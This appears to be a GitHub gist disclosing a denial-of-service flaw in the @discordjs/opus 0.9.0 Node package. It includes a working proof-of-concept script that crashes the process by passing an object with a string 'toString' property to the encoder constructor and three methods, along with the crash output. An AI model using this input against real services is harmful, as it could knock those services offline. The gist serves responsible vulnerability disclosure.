Skip to content

Instantly share code, notes, and snippets.

@dellalibera
Created January 15, 2024 09:08
Show Gist options
  • Save dellalibera/98c48fd74bb240adbd7841a5c02aba9e to your computer and use it in GitHub Desktop.
Save dellalibera/98c48fd74bb240adbd7841a5c02aba9e to your computer and use it in GitHub Desktop.
Denial of Service (DoS) in @discordjs/opus@v0.9.0

Information

Package: @discordjs/opus

Tested Version: 0.9.0

GitHub Repository: https://github.com/discordjs/opus

Vulnerability: Denial of Service (DoS)

Details

Providing an input object with a property toString to several different functions (see below) can lead to a process crash (i.e., Denial of Service - DoS).

Vulnerable code:

Similar issue (including a fix commit):

Setup

Tested on:

Ubuntu 22.04.3 LTS
Node v18.19.0

Installation:

npm i @discordjs/opus

PoC

Usage:

node poc.js <poc1|poc2|poc3|poc4>
  • poc1
node poc.js poc1
Running poc1
FATAL ERROR: Error::New napi_get_last_error_info
...
Aborted (core dumped)
  • poc2
node poc.js poc2
Running poc2
FATAL ERROR: Error::New napi_get_last_error_info
...
Aborted (core dumped)
  • poc3
node poc.js poc3
Running poc3
FATAL ERROR: Error::New napi_get_last_error_info
...
Aborted (core dumped)
  • poc4
node poc.js poc4
Running poc4
FATAL ERROR: Error::New napi_get_last_error_info
...
Aborted (core dumped)

Impact

Denial of Service (DoS)

Author

Alessio Della Libera

const { OpusEncoder } = require('@discordjs/opus');
let input = {'toString': "hello"};
function poc1() {
console.log("Running poc1");
new OpusEncoder(input, 2);
}
function poc2() {
console.log("Running poc2");
const encoder = new OpusEncoder(48000, 2);
encoder.setBitrate(input);
}
function poc3() {
console.log("Running poc3");
const encoder = new OpusEncoder(48000, 2);
encoder.applyEncoderCTL(input);
}
function poc4() {
console.log("Running poc4");
const encoder = new OpusEncoder(48000, 2);
encoder.applyDecoderCTL(input);
}
const pocs = new Map();
pocs.set('poc1', poc1);
pocs.set('poc2', poc2);
pocs.set('poc3', poc3);
pocs.set('poc4', poc4);
function run() {
const args = process.argv.slice(2);
const p = args[0];
const poc = pocs.get(p) || poc1;
try {
poc();
} catch (e) {
console.log('Never executed')
console.log(e);
}
console.log('Never executed')
}
run();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment